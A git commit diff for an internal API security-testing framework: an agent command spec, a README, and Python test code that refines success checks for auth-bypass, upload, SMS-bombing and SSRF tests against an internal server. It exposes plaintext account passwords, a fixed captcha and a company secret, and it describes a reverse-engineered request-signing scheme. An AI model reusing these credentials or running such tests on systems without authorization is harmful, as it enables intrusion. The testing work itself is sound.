提交 ab3ddd19 authored 作者: 陈泽健's avatar 陈泽健

docs(prd): 更新接口安全测试需求文档并优化测试逻辑

- 添加 pycryptodome 依赖用于接口签名算法测试
- 新增接口签名机制说明(SHA256 + AES-CBC)
- 扩充测试载荷参考包括 NoSQL 注入、API 成批分配、SSRF 等
- 添加危险文件类型上传载荷和敏感路径探测字典
- 完善修复建议参考和安全测试报告模板
- 重构业务成功判断逻辑支持多字段校验
- 新增 _is_auth_success 函数统一认证成功判断
- 优化 NoSQL 注入测试级别调整和结果判断
- 增加桌牌同步 SSRF 和 SMTP 邮件注入测试用例
- 修复短信轰炸测试中的认证检查逻辑
上级 9f2f41df
---
name: AQCS-XTYPT
description: 新统一平台接口安全测试 - 执行OWASP API Top 10全量测试、历史漏洞回归、华为红线检查,生成报告并上传网盘
---
新统一平台接口安全测试自动化执行,严格按照PRD需求文档执行全部测试流程。
## Usage
/AQCS-XTYPT [步骤参数]
可选步骤参数(不传则执行全流程):
- `check` — 仅环境检查(依赖安装 + 网络连通性 + 账号登录验证)
- `test` — 仅执行测试(跳过环境检查,直接运行全部测试模块)
- `single <模块名>` — 仅执行单个模块(如 `single api02`
- `report` — 仅查看最近一次测试报告
- `full` — 执行全流程(默认,等同不传参数)
## Description
严格按照以下需求文档执行接口安全测试全流程:
- **PRD需求文档**: `Docs/PRD/接口安全测试/_PRD_接口安全测试_需求文档.md`
- **参考资料跟踪**: `Docs/PRD/接口安全测试/_PRD_接口安全测试_参考资料跟踪.md`
- **测试脚本**: `AuxiliaryTool/ScriptTool/ApiSecurityTest/run_all.py`
- **配置文件**: `AuxiliaryTool/ScriptTool/ApiSecurityTest/config.yaml`
- **知识库**: `AuxiliaryTool/ScriptTool/ApiSecurityTest/utils/knowledge_base.py`
- **README**: `AuxiliaryTool/ScriptTool/ApiSecurityTest/README.md`
**功能:**
- Python环境与依赖检查
- 目标服务器网络连通性验证
- 三账号登录验证(superadmin / admin@aq / user@aq)
- OWASP API Security Top 10 全量测试(10个模块、90个用例)
- 历史漏洞回归测试(35个历史漏洞 HV-001~HV-035)
- 华为安全红线合规检查(22项 HW-001~HW-022 + 5项伙伴红线)
- 生成完整安全测试报告(Markdown格式)
- 报告自动上传网盘
## 关键配置信息(来自config.yaml)
### 目标服务器
- **架构**: X86
- **系统**: EulerOS(欧拉)
- **IP**: 192.168.5.44
- **地址**: https://192.168.5.44/
- **SSL验证**: 关闭(verify_ssl: false)
### 测试账号
- **超管**: superadmin / Ubains@1357
- **管理员**: admin@aq / Ubains@1357
- **普通用户**: user@aq / Ubains@1357
- **固定验证码**: csba
### 认证配置
- **Token类型**: accessToken
- **认证机制**: JWT
- **登录接口**: /platform/api/auth/login
- **验证码接口**: /platform/api/code
### 测试限制
- 暴力破解最大尝试: 20次
- 限流测试最大请求: 100次
- 批量测试最大请求: 50次
- 请求间隔: 0.5秒
### 报告输出
- **本地路径**: `AuxiliaryTool/ScriptTool/ApiSecurityTest/reports/`
- **报告命名**: `{服务器IP}_安全测试报告_{时间戳}.md`
- **网盘路径**: `\\192.168.9.9\deploy\18其它系统\安全测试\04新统一平台-安全报告\`
## 执行步骤
### 阶段1: 环境检查与准备
1. **检查Python版本**(要求 3.8+)
```bash
python --version
```
2. **检查并安装依赖**
```bash
cd AuxiliaryTool/ScriptTool/ApiSecurityTest
pip install -r requirements.txt
```
依赖包:requests >= 2.28.0、colorama >= 0.4.6、pyyaml >= 6.0、pycryptodome >= 3.18.0
3. **检查配置文件**
- 确认 `config.yaml` 存在且配置正确
- 确认目标服务器地址、账号密码、验证码配置
- 确认 `utils/knowledge_base.py` 知识库文件存在
4. **验证网络连通性**
```bash
ping 192.168.5.44
curl -k https://192.168.5.44/platform/api/code
```
5. **验证账号登录**
- 使用三个账号分别登录,确认Token获取正常
- 如果全部登录失败则停止,报告错误
### 阶段2: 执行全量安全测试
1. **进入测试目录**
```bash
cd AuxiliaryTool/ScriptTool/ApiSecurityTest
```
2. **执行全部测试模块**
```bash
python run_all.py
```
3. **测试过程监控**
- 观察控制台输出,关注每个模块的执行结果
- 如果某个模块执行异常(如ImportError),记录错误但继续执行后续模块
- 统计每个模块的用例数和漏洞发现数
4. **10个测试模块执行顺序**:
| 序号 | 模块 | 测试内容 |
|------|------|---------|
| 1/10 | API1 | 对象级别授权失效(水平越权、IDOR) |
| 2/10 | API2 | 身份认证失效(Token伪造、NoSQL注入、暴力破解) |
| 3/10 | API3 | 对象属性级别授权失效(垂直越权、成批分配) |
| 4/10 | API4 | 资源消耗不受限(速率限制、文件上传) |
| 5/10 | API5 | 功能级别授权失效(普通用户访问管理员接口) |
| 6/10 | API6 | 无限制访问敏感业务流(批量注册、短信轰炸) |
| 7/10 | API7 | 服务器端请求伪造(SSRF内网探测) |
| 8/10 | API8 | 安全配置错误(Nacos未授权、Swagger暴露、SQL注入) |
| 9/10 | API9 | 库存管理不当(隐藏接口、旧版API暴露) |
| 10/10 | API10 | 不安全的第三方API集成(凭证泄露) |
### 阶段3: 报告生成与上传
1. **确认报告生成**
- 检查 `reports/` 目录下是否生成了新的报告文件
- 报告文件名格式:`{服务器IP}_安全测试报告_{时间戳}.md`
- 读取报告内容确认完整性
2. **查看测试摘要**
- 从控制台输出或报告内容中提取:
- 总测试用例数
- 高危/中危/低危/信息类漏洞数
- 已验证安全项数
3. **确认网盘上传结果**
- 工具会自动上传报告到 `\\192.168.9.9\deploy\18其它系统\安全测试\04新统一平台-安全报告\`
- 如果上传失败,手动拷贝报告到网盘目录
### 阶段4: 输出测试结果摘要
1. **向用户展示测试结果概要**,包括:
- 测试目标与时间
- 漏洞统计(高危/中危/低危/信息类数量)
- 关键发现(高危漏洞列表)
- 报告文件路径(本地 + 网盘)
2. **如果发现高危漏洞**,额外提醒:
- 列出每个高危漏洞的名称和影响接口
- 建议优先修复
## 单模块测试模式
当用户只需要执行某个特定模块时:
```bash
cd AuxiliaryTool/ScriptTool/ApiSecurityTest
python run_all.py <模块名>
```
可用模块名:`api01` ~ `api10`
示例:
- `/AQCS-XTYPT single api02` — 仅测试身份认证
- `/AQCS-XTYPT single api08` — 仅测试安全配置(含Nacos、SQL注入)
单模块测试同样会生成完整报告并上传网盘。
## ⚠️ 严格执行规则
1. **必须严格按照PRD需求文档执行测试,不得跳过任何测试模块**
2. **测试过程中不得修改 config.yaml 中的目标服务器地址和账号信息**
3. **所有测试仅在授权范围内的目标系统执行,禁止测试非授权目标**
4. **某个模块执行异常时,记录错误并继续执行后续模块,不得中断整体流程**
5. **测试完成后必须确认报告文件已生成且内容完整**
6. **如果网盘上传失败,必须手动将报告拷贝到网盘目录**
7. **所有测试结果必须如实记录,不得隐瞒漏洞或篡改结果**
8. **禁止使用可能导致服务不可用的攻击手法(如大流量DDoS)**
9. **测试过程中发现的敏感信息(密码、密钥)不得外泄**
10. **安全测试必须在测试环境执行,禁止在生产环境执行破坏性测试**
# 接口安全测试工具
> 基于 OWASP API Security Top 10 标准的自动化 API 安全测试框架
>
> 支持历史漏洞回归测试、华为安全红线合规检查、多账号权限隔离测试
## 目录结构
```
ApiSecurityTest/
├── run_all.py # 主入口脚本
├── config.yaml # 全局配置文件
├── requirements.txt # Python 依赖
├── README.md # 本文档
├── reports/ # 测试报告输出目录
│ └── *.md # 生成的 Markdown 报告
├── utils/ # 工具模块
│ ├── __init__.py
│ ├── http_client.py # HTTP 客户端(含签名算法)
│ ├── auth_helper.py # 认证辅助(多账号登录)
│ ├── logger.py # 日志工具(彩色输出)
│ ├── report_generator.py # 报告生成器
│ └── knowledge_base.py # 安全知识库
└── tests/ # 测试模块(OWASP API Top 10)
├── __init__.py
├── test_api01_auth.py # API1 - 对象级别授权失效
├── test_api02_authentication.py # API2 - 身份认证失效
├── test_api03_object_attr.py # API3 - 对象属性级别授权失效
├── test_api04_rate_limit.py # API4 - 资源消耗不受限
├── test_api05_func_auth.py # API5 - 功能级别授权失效
├── test_api06_business_flow.py # API6 - 无限制访问敏感业务流
├── test_api07_ssrf.py # API7 - 服务器端请求伪造
├── test_api08_misconfig.py # API8 - 安全配置错误
├── test_api09_inventory.py # API9 - 库存管理不当
└── test_api10_third_party.py # API10 - 不安全的第三方API集成
```
## 环境要求
- Python 3.8+
- 网络可达目标服务器
- 已安装依赖包
## 安装依赖
```bash
cd AuxiliaryTool/ScriptTool/ApiSecurityTest
pip install -r requirements.txt
```
**依赖说明**
| 包名 | 版本 | 用途 |
|------|------|------|
| requests | >=2.28.0 | HTTP 请求 |
| colorama | >=0.4.6 | 控制台彩色输出 |
| pyyaml | >=6.0 | 配置文件解析 |
| pycryptodome | >=3.18.0 | 接口签名算法(可选) |
## 配置说明
编辑 `config.yaml` 文件配置测试目标:
### 目标服务器配置
```yaml
target:
base_url: "https://192.168.5.44" # 目标服务器地址
server_ip: "192.168.5.44" # 服务器 IP
verify_ssl: false # 是否验证 SSL 证书
timeout: 30 # 请求超时时间(秒)
```
### 测试账号配置
```yaml
accounts:
superadmin:
username: "superadmin"
password: "Ubains@1357"
description: "超级管理员"
admin:
username: "admin@aq"
password: "Ubains@1357"
description: "管理员"
user:
username: "user@aq"
password: "Ubains@1357"
description: "普通用户"
captcha: "csba" # 固定验证码
```
### 认证配置
```yaml
auth:
token_type: "accessToken"
mechanism: "JWT"
login_path: "/platform/api/auth/login"
token_header: "accessToken"
company_number: "CN-SZ-00-0201"
company_secret: "57d00f9f-020f-5f1f-b788-55fae843bceb"
captcha_path: "/platform/api/code"
```
### 测试限制配置
```yaml
limits:
brute_force_max: 20 # 暴力破解最大尝试次数
rate_limit_max: 100 # 限流测试最大请求数
batch_max: 50 # 批量测试最大请求数
request_interval: 0.5 # 请求间隔(秒)
```
## 使用方法
### 执行全部测试
```bash
python run_all.py
```
执行流程:
1. **阶段 1/4**:登录所有测试账号(superadmin、admin、user)
2. **阶段 2/4**:执行 OWASP API Security Top 10 测试(共 10 个模块)
3. **阶段 3/4**:生成安全测试总报告(Markdown 格式)
4. **阶段 4/4**:上传报告至网盘
### 执行单个模块
```bash
# 语法:python run_all.py <模块名>
python run_all.py api01 # API1 - 对象级别授权失效
python run_all.py api02 # API2 - 身份认证失效
python run_all.py api08 # API8 - 安全配置错误
```
**可用模块**
| 模块名 | 测试内容 | 用例数 |
|--------|---------|--------|
| api01 | 对象级别授权失效(水平越权、IDOR) | 8 |
| api02 | 身份认证失效(Token伪造、NoSQL注入、暴力破解) | 13 |
| api03 | 对象属性级别授权失效(垂直越权、成批分配) | 9 |
| api04 | 资源消耗不受限(速率限制、文件上传、分页滥用) | 7 |
| api05 | 功能级别授权失效(普通用户访问管理员接口) | 8 |
| api06 | 无限制访问敏感业务流(批量注册、短信轰炸) | 6 |
| api07 | 服务器端请求伪造(SSRF内网探测) | 9 |
| api08 | 安全配置错误(Nacos未授权、Swagger暴露、SQL注入) | 15 |
| api09 | 库存管理不当(隐藏接口、旧版API、内部API暴露) | 8 |
| api10 | 不安全的第三方API集成(凭证泄露) | 7 |
## 测试覆盖范围
### OWASP API Security Top 10 (2019)
| 编号 | 安全风险 | 测试要点 |
|------|---------|---------|
| API1 | 对象级别授权失效 | 水平越权、IDOR遍历、运维集控company_id篡改 |
| API2 | 身份认证失效 | Token伪造、NoSQL注入(CVSS 9.4)、暴力破解、注销失效 |
| API3 | 对象属性级别授权失效 | 垂直越权、API成批分配(CVSS 7.3) |
| API4 | 资源消耗不受限 | 速率限制、文件上传(300M限制)、分页滥用 |
| API5 | 功能级别授权失效 | 普通用户访问管理员接口 |
| API6 | 无限制访问敏感业务流 | 批量注册、短信轰炸、NoLogin接口滥用 |
| API7 | 服务器端请求伪造 | SSRF内网探测(Nacos/Redis/MySQL) |
| API8 | 安全配置错误 | Nacos未授权、Swagger暴露、SQL注入、安全响应头缺失 |
| API9 | 库存管理不当 | 隐藏接口、旧版API(/legacy/*)、内部API暴露 |
| API10 | 不安全的第三方API集成 | 讯飞/腾讯/钉钉/华为云凭证泄露 |
### 历史漏洞回归测试
知识库 (`knowledge_base.py`) 包含 **35 个历史漏洞** 用于回归验证:
- **高危**:SQL注入(2处)、NoSQL注入、Nacos未授权、JWT弱密钥、越权访问等
- **中危**:config.json泄露、Swagger暴露、固定验证码、密码哈希无加盐等
- **来源**:长安深蓝汽车、南山区委、天津海油、AppScan报告、IAST报告
### 华为安全红线检查
知识库包含 **22 项华为安全红线检查** + **5 项伙伴交流红线**
- 加密规范:密码存储加盐哈希、密钥管理、密码复杂度
- 传输安全:TLS 版本、HTTPS 强制
- 鉴权机制:Token 有效期、会话管理
- 配置管理:中间件不暴露、调试工具禁用
## 知识库数据
`utils/knowledge_base.py` 包含以下安全知识数据:
| 数据结构 | 说明 | 条目数 |
|---------|------|--------|
| `NGINX_ANALYSIS` | Nginx 配置分析结果(外露路径、缺失安全头等) | 5 大类 |
| `HISTORICAL_VULNS` | 历史漏洞回归测试用例 | 35 条 |
| `SQL_INJECTION_PAYLOADS` | SQL 注入测试载荷 | 21 条 |
| `HUAWEI_REDLINE_CHECKS` | 华为安全红线检查项 | 22 条 |
| `ENHANCED_PATH_DICTIONARIES` | 敏感路径探测字典 | 8 组 70+ 条 |
| `APPSCAN_REPORT_SUMMARY` | HCL AppScan 报告摘要 | 56 个问题 |
| `IAST_REPORT_SUMMARY` | IAST 检测报告摘要 | 84 个漏洞 |
| `JWT_FIX_REFERENCE` | JWT 修复参考文档 | 完整流程 |
| `NSQW_PENTEST_FINDINGS` | 南山区委渗透测试发现 | 方法论 + 漏洞 |
| `NSQW_SECURITY_ISSUES` | 南山区委安全问题清单 | 22 项 |
| `PARTNER_REDLINE_SUPPLEMENT` | 伙伴交流红线补充 | 5 项 |
## 测试报告
### 报告格式
测试完成后生成 Markdown 格式总报告,包含:
1. **执行概要**:测试统计、OWASP 覆盖矩阵
2. **漏洞详情**:按风险等级排序,含复现步骤和修复建议
3. **已验证安全项**:通过的测试用例列表
4. **风险评估与修复建议**:按风险等级的通用修复方案
5. **已知安全问题清单**:测试前已确认的安全问题
6. **历史漏洞回归验证**:35 个历史漏洞的修复状态
7. **华为安全红线合规性检查**:22 项红线的合规状态
8. **测试环境与工具**:测试配置信息
### 报告输出
- **本地路径**`reports/{服务器IP}_安全测试报告_{时间戳}.md`
- **网盘上传**`\\192.168.9.9\deploy\18其它系统\安全测试\04新统一平台-安全报告\`
### 示例报告
```
# 接口安全测试总报告
> **生成时间**:2026-06-08 14:05:30
> **测试目标**:https://192.168.5.44
> **测试标准**:OWASP API Security Top 10 (2019)
## 一、执行概要
### 1.1 测试统计总览
| 统计项 | 数值 |
|--------|------|
| 测试用例总数 | 89 |
| 发现漏洞总数 | 20 |
| 🔴 高危漏洞 | 8 |
| 🟠 中危漏洞 | 12 |
| 🟡 低危漏洞 | 0 |
| 🔵 信息类 | 0 |
| 🟢 已验证安全 | 69 |
...
```
## 接口签名机制
本工具支持前端签名算法的自动签名(从前端 JS 逆向获得):
**签名流程**:
1. 生成随机字符串 `x_random`(8-16位)
2. 获取当前毫秒时间戳 `x_timestamp`
3. 拼接签名字符串:`timestamp + JSON.stringify(body) + random`
4. 计算中间哈希:`SHA256(sign_str)`
5. 派生 AES 密钥:`SHA256(bearer_token)` 或随机 60 位
6. AES-CBC 加密中间哈希,Base64 编码得到 `x_sign`
**请求头**:
```
X-RANDOM: <随机字符串>
X-TIMESTAMP: <毫秒时间戳>
X-SIGN: <AES加密签名>
```
## 常见问题
### Q1: 登录失败怎么办?
**检查项**:
1. 确认目标服务器网络可达:`ping 192.168.5.44`
2. 确认账号密码正确:检查 `config.yaml`
3. 确认验证码配置:当前固定为 `csba`
4. 查看详细错误日志
### Q2: 报告生成失败?
**检查项**:
1. 确认 `reports/` 目录存在且可写
2. 确认磁盘空间充足
3. 查看控制台错误信息
### Q3: 网盘上传失败?
**检查项**:
1. 确认网盘路径 `\\192.168.9.9\deploy\` 可访问
2. 确认有写入权限
3. 上传失败不影响本地报告生成
### Q4: pycryptodome 安装失败?
**解决方案**
```bash
# 方案1:使用 pip 安装
pip install pycryptodome
# 方案2:使用 conda 安装
conda install -c conda-forge pycryptodome
# 方案3:跳过签名功能(部分测试不可用)
# 工具会自动降级,无签名模式运行
```
### Q5: 如何添加新的测试用例?
1. 在对应模块文件(如 `test_api08_misconfig.py`)中添加测试函数
2. 函数返回 `VulnResult` 对象列表
3. 在模块的 `run_tests()` 函数中调用新测试
**示例**
```python
def test_new_check(client, auth):
"""新增测试用例"""
results = []
# 测试逻辑
token = auth.get_user_token()
resp = client.get("/api/admin/sensitive", token=token)
# 判断结果
is_vuln = resp.status_code == 200 # 普通用户不应能访问
results.append(VulnResult(
test_id="2.8.16",
name="敏感接口未授权访问",
level=VulnResult.LEVEL_HIGH,
description="普通用户可访问管理员敏感接口",
request_info=f"GET /api/admin/sensitive",
response_info=f"Status: {resp.status_code}",
is_vulnerable=is_vuln,
fix_suggestion="增加权限校验"
))
return results
```
## 相关文档
- **PRD 需求文档**`Docs/PRD/接口安全测试/_PRD_接口安全测试_需求文档.md`
- **参考资料跟踪**`Docs/PRD/接口安全测试/_PRD_接口安全测试_参考资料跟踪.md`
- **华为安全红线资料**`Z:\deploy\18其它系统\安全测试\01安全测试资料\`
- **历史漏洞报告资料**:`Z:\deploy\18其它系统\安全测试\02项目漏洞资料\`
- **Nginx 配置文件**`Z:\deploy\18其它系统\安全测试\03Nginx配置文件\`
## 版本历史
| 版本 | 日期 | 更新内容 |
|------|------|---------|
| 1.0 | 2026-06-08 | 初始版本,支持 OWASP API Top 10 全部测试 |
| 1.1 | 2026-06-08 | 新增历史漏洞回归测试、华为安全红线检查 |
| 1.2 | 2026-06-08 | 新增 knowledge_base.py 知识库,增强测试载荷 |
## 许可证
内部使用工具,仅供授权测试使用。
---
**安全提示**:本工具仅用于授权范围内的安全测试,禁止用于未授权的系统测试。
......@@ -10,7 +10,7 @@ from utils.report_generator import VulnResult
def _is_success(resp):
"""
判断响应是否表示请求成功(即越权成功)
判断响应是否表示业务成功(即越权成功)
参数:
resp: requests.Response 对象
......@@ -20,23 +20,57 @@ def _is_success(resp):
"""
if resp is None:
return False
# 状态码为 200 且不是 401/403 类型的鉴权错误
# 401/403 直接表示鉴权拦截
if resp.status_code in (401, 403):
return False
# 非 200 状态码不算成功
if resp.status_code != 200:
return False
# 检查响应体中的业务状态码
try:
data = resp.json()
# 常见的业务错误码字段:code、status、errcode
# 1. 检查 success 字段(统一平台使用 success: false/0 表示业务失败)
if 'success' in data and not data['success']:
return False
# 2. 检查业务错误码
code = data.get('code', data.get('status', data.get('errcode')))
if code is not None:
# 401/403/40301 等通常表示鉴权失败
if str(code) in ('401', '403', '40301', '40101'):
# 权限不足 / 鉴权失败类错误码
auth_denied_codes = (
'401', '403', '40301', '40101', # 通用鉴权错误
'B0027', # 权限不足。无法请求接口
'B0017', # 接口请求方式错误
'B0002', # 验证码失效
)
if str(code) in auth_denied_codes:
return False
# 3. 检查 message/msg 中的权限拒绝关键词
message = str(data.get('message', data.get('msg', '')))
if message:
deny_keywords = [
'权限不足', '不允许访问', '拒绝访问',
'未授权', '请登录', '重新登录', '已退出',
'AccessDenied',
]
if any(kw in message for kw in deny_keywords):
return False
# 4. 检查是否有有效数据返回(无数据不算越权成功)
result_data = data.get('data')
if result_data is None or result_data == {} or result_data == []:
# 允许 success=True 但 data 为空的情况(如删除/修改操作)
if data.get('success') is True:
return True
return False
return True
except Exception:
pass
return True
return False
def _safe_json(resp):
......
......@@ -9,6 +9,69 @@ from utils.logger import log
from utils.report_generator import VulnResult
def _is_auth_success(resp):
"""
判断响应是否表示认证成功(即成功绕过认证访问了接口)
参数:
resp: requests.Response 对象
返回:
bool: True 表示成功绕过认证(存在漏洞)
"""
if resp is None:
return False
if resp.status_code in (401, 403):
return False
if resp.status_code != 200:
return False
try:
data = resp.json()
# 1. 检查 success 字段(兼容 success: false 和 success: 0)
if 'success' in data and not data['success']:
return False
# 2. 检查业务错误码
code = data.get('code', data.get('status', data.get('errcode')))
if code is not None:
auth_denied_codes = (
'401', '403', '40301', '40101',
'A0076', # 无效token
'B0027', # 权限不足
'B0017', # 接口请求方式错误
'B0002', # 验证码失效
)
if str(code) in auth_denied_codes:
return False
# 3. 检查 message/msg 中的拒绝关键词
message = str(data.get('message', data.get('msg', '')))
if message:
deny_keywords = [
'权限不足', '不允许访问', '拒绝访问',
'未授权', '请登录', '重新登录', '已退出',
'无效token', 'token无效', 'token已过期',
'AccessDenied', '用户不存在',
]
if any(kw in message for kw in deny_keywords):
return False
# 4. 检查是否有有效数据返回
result_data = data.get('data', data.get('result'))
if result_data is None or result_data == {} or result_data == []:
if data.get('success') is True:
return True
return False
return True
except Exception:
# JSON 解析失败,不算成功
return False
def _safe_json(resp):
"""
安全地获取响应 JSON 文本
......@@ -73,14 +136,7 @@ def test_2_2_1(client, auth):
# 不传 Token,也不指定 account,构造无认证请求
resp = client.get(path, params=params, token="", account=None)
if resp and resp.status_code == 200:
try:
data = resp.json()
# 检查是否返回了有效数据(而不是错误信息)
code = data.get('code', data.get('status'))
if code and str(code) not in ('401', '403', '40301', '40101'):
vulnerable_endpoints.append(path)
except Exception:
if _is_auth_success(resp):
vulnerable_endpoints.append(path)
request_info = _build_request_info(
......@@ -132,14 +188,7 @@ def test_2_2_2(client, auth):
resp = client.get("/api/system/getUserInfo",
token=fake_token, account=None)
if resp and resp.status_code == 200:
try:
data = resp.json()
code = data.get('code', data.get('status'))
if code and str(code) not in ('401', '403', '40301', '40101'):
vulnerable = True
success_tokens.append(fake_token[:50])
except Exception:
if _is_auth_success(resp):
vulnerable = True
success_tokens.append(fake_token[:50])
......@@ -198,11 +247,7 @@ def test_2_2_3(client, auth):
resp = client.get("/api/system/getUserInfo",
token=expired_token, account=None)
if resp and resp.status_code == 200:
try:
data = resp.json()
code = data.get('code', data.get('status'))
if code and str(code) not in ('401', '403', '40301', '40101'):
if _is_auth_success(resp):
return VulnResult(
test_id=test_id, name=name, level=VulnResult.LEVEL_HIGH,
description="使用构造的过期 Token 成功访问了接口,"
......@@ -212,8 +257,6 @@ def test_2_2_3(client, auth):
is_vulnerable=True,
fix_suggestion="服务端必须校验 Token 的过期时间(exp 字段),拒绝所有已过期的 Token"
)
except Exception:
pass
return VulnResult(
test_id=test_id, name=name, level=VulnResult.LEVEL_HIGH,
......@@ -556,13 +599,7 @@ def test_2_2_8(client, auth):
token=token_first, account=None)
first_token_valid = False
if resp_check and resp_check.status_code == 200:
try:
data = resp_check.json()
code = data.get('code', data.get('status'))
if code and str(code) not in ('401', '403', '40301', '40101'):
first_token_valid = True
except Exception:
if _is_auth_success(resp_check):
first_token_valid = True
# 如果第二次登录成功且第一个 Token 仍然有效,说明支持并发登录
......@@ -860,7 +897,7 @@ def test_2_2_12(client, auth):
if vulnerable_payloads:
return VulnResult(
test_id=test_id, name=name, level=VulnResult.LEVEL_CRITICAL,
test_id=test_id, name=name, level=VulnResult.LEVEL_HIGH,
description=f"登录接口存在NoSQL注入漏洞(CVSS 9.4),以下注入载荷成功绕过认证: "
f"{vulnerable_payloads}。"
f"攻击者无需密码即可登录任意账户,属于紧急安全漏洞",
......@@ -873,7 +910,7 @@ def test_2_2_12(client, auth):
)
return VulnResult(
test_id=test_id, name=name, level=VulnResult.LEVEL_CRITICAL,
test_id=test_id, name=name, level=VulnResult.LEVEL_INFO,
description="NoSQL注入攻击均被正确拦截,登录接口参数类型校验正常",
request_info=request_info,
response_info="所有NoSQL注入载荷均未成功登录",
......@@ -942,11 +979,7 @@ def test_2_2_13(client, auth):
f"3. 使用旧Token再次访问 /api/system/getUserInfo\n"
f"旧Token: {user_token[:50]}...")
if verify_resp_after and verify_resp_after.status_code == 200:
try:
data = verify_resp_after.json()
code = data.get('code', data.get('status'))
if code and str(code) not in ('401', '403', '40301', '40101'):
if _is_auth_success(verify_resp_after):
return VulnResult(
test_id=test_id, name=name, level=VulnResult.LEVEL_HIGH,
description="注销后旧Token仍然有效,可正常访问认证接口。"
......@@ -959,8 +992,6 @@ def test_2_2_13(client, auth):
"2. 设置Token合理的过期时间;"
"3. 确保注销后所有关联的会话标识全部失效"
)
except Exception:
pass
return VulnResult(
test_id=test_id, name=name, level=VulnResult.LEVEL_HIGH,
......
......@@ -9,7 +9,7 @@ from utils.report_generator import VulnResult
def _is_success(resp):
"""
判断响应是否表示请求成功(即越权成功)
判断响应是否表示业务成功(即越权成功)
参数:
resp: requests.Response 对象
......@@ -19,21 +19,57 @@ def _is_success(resp):
"""
if resp is None:
return False
# 状态码为 401/403 表示鉴权生效,不算越权
# 401/403 直接表示鉴权拦截
if resp.status_code in (401, 403):
return False
# 非 200 状态码不算成功
if resp.status_code != 200:
return False
# 检查响应体中的业务状态码
try:
data = resp.json()
# 1. 检查 success 字段(统一平台使用 success: false/0 表示业务失败)
if 'success' in data and not data['success']:
return False
# 2. 检查业务错误码
code = data.get('code', data.get('status', data.get('errcode')))
if code is not None:
if str(code) in ('401', '403', '40301', '40101'):
# 权限不足 / 鉴权失败类错误码
auth_denied_codes = (
'401', '403', '40301', '40101', # 通用鉴权错误
'B0027', # 权限不足。无法请求接口
'B0017', # 接口请求方式错误
'B0002', # 验证码失效
)
if str(code) in auth_denied_codes:
return False
# 3. 检查 message/msg 中的权限拒绝关键词
message = str(data.get('message', data.get('msg', '')))
if message:
deny_keywords = [
'权限不足', '不允许访问', '拒绝访问',
'未授权', '请登录', '重新登录', '已退出',
'AccessDenied',
]
if any(kw in message for kw in deny_keywords):
return False
# 4. 检查是否有有效数据返回(无数据不算越权成功)
result_data = data.get('data')
if result_data is None or result_data == {} or result_data == []:
# 允许 success=True 但 data 为空的情况(如删除/修改操作)
if data.get('success') is True:
return True
return False
return True
except Exception:
pass
return True
return False
def _safe_json(resp):
......
......@@ -10,7 +10,7 @@ from utils.report_generator import VulnResult
def _is_success(resp):
"""
判断响应是否表示请求成功
判断响应是否表示业务成功
参数:
resp: requests.Response 对象
......@@ -20,19 +20,57 @@ def _is_success(resp):
"""
if resp is None:
return False
# 401/403 直接表示鉴权拦截
if resp.status_code in (401, 403):
return False
# 非 200 状态码不算成功
if resp.status_code != 200:
return False
try:
data = resp.json()
# 1. 检查 success 字段(统一平台使用 success: false/0 表示业务失败)
if 'success' in data and not data['success']:
return False
# 2. 检查业务错误码
code = data.get('code', data.get('status', data.get('errcode')))
if code is not None:
if str(code) in ('401', '403', '40301', '40101'):
# 权限不足 / 鉴权失败类错误码
auth_denied_codes = (
'401', '403', '40301', '40101', # 通用鉴权错误
'B0027', # 权限不足。无法请求接口
'B0017', # 接口请求方式错误
'B0002', # 验证码失效
)
if str(code) in auth_denied_codes:
return False
# 3. 检查 message/msg 中的权限拒绝关键词
message = str(data.get('message', data.get('msg', '')))
if message:
deny_keywords = [
'权限不足', '不允许访问', '拒绝访问',
'未授权', '请登录', '重新登录', '已退出',
'AccessDenied',
]
if any(kw in message for kw in deny_keywords):
return False
# 4. 检查是否有有效数据返回(无数据不算越权成功)
result_data = data.get('data')
if result_data is None or result_data == {} or result_data == []:
# 允许 success=True 但 data 为空的情况(如删除/修改操作)
if data.get('success') is True:
return True
return False
return True
except Exception:
pass
return True
return False
def _safe_json(resp):
......@@ -309,11 +347,16 @@ def test_2_4_3(client, auth):
if resp and resp.status_code == 200:
try:
data = resp.json()
# 检查是否真的上传成功(而非业务错误)
if not _is_success(resp):
continue
code = data.get('code', data.get('status'))
if code and str(code) not in ('413', '429'):
if code and str(code) in ('413', '429'):
continue
vulnerable_endpoints.append(path)
except Exception:
vulnerable_endpoints.append(path)
# JSON 解析失败不算上传成功
pass
except Exception as e:
log.debug(f"[{test_id}] 上传测试 {path} 异常: {e}")
......@@ -640,19 +683,20 @@ def test_2_4_7(client, auth):
if resp and resp.status_code == 200:
try:
data = resp.json()
# 检查是否真的上传成功(而非业务错误)
if not _is_success(resp):
continue
code = data.get('code', data.get('status'))
if code and str(code) not in ('415', '400'):
if code and str(code) in ('415', '400'):
continue
uploaded_types.append({
'endpoint': path,
'filename': filename,
'mime': mime_type
})
except Exception:
uploaded_types.append({
'endpoint': path,
'filename': filename,
'mime': mime_type
})
# JSON 解析失败不算上传成功
pass
except Exception as e:
log.debug(f"[{test_id}] 上传 {filename} 到 {path} 异常: {e}")
......
......@@ -466,6 +466,35 @@ def _test_2_6_4(client):
try:
data = resp.json()
msg_val = str(data.get('msg', data.get('message', '')))
code_val = str(data.get('code', data.get('status', '')))
# 优先检查:认证拒绝(需要登录才能调用,不是漏洞)
auth_denied_codes = ('401', '403', '40301', '40101', 'B0027', 'B0017', 'B0002')
auth_denied_msgs = ('令牌不能为空', 'token不能为空', '未登录', '请登录',
'权限不足', '不允许访问', '拒绝访问', 'AccessDenied')
if code_val in auth_denied_codes:
sub_results.append(VulnResult(
test_id="2.6.4",
name=f"短信轰炸测试 - {path}",
level=VulnResult.LEVEL_INFO,
description=f"接口 {path} 需要认证才能调用(code={code_val}),不存在短信轰炸风险",
request_info=request_info,
response_info=resp_info,
is_vulnerable=False
))
continue
if any(kw in msg_val for kw in auth_denied_msgs):
sub_results.append(VulnResult(
test_id="2.6.4",
name=f"短信轰炸测试 - {path}",
level=VulnResult.LEVEL_INFO,
description=f"接口 {path} 需要认证才能调用({msg_val}),不存在短信轰炸风险",
request_info=request_info,
response_info=resp_info,
is_vulnerable=False
))
continue
# 检查是否有频率限制提示
has_rate_limit = (
'频繁' in msg_val or '限制' in msg_val or
......
......@@ -637,3 +637,165 @@ def _test_2_7_7(client, user_token):
))
return sub_results
# ================================================================
# 2.7.8: 桌牌同步SSRF (HV-024)
# ================================================================
def _test_2_7_8(client, user_token, ssrf_payloads):
"""
2.7.8: 桌牌同步接口 SSRF 测试
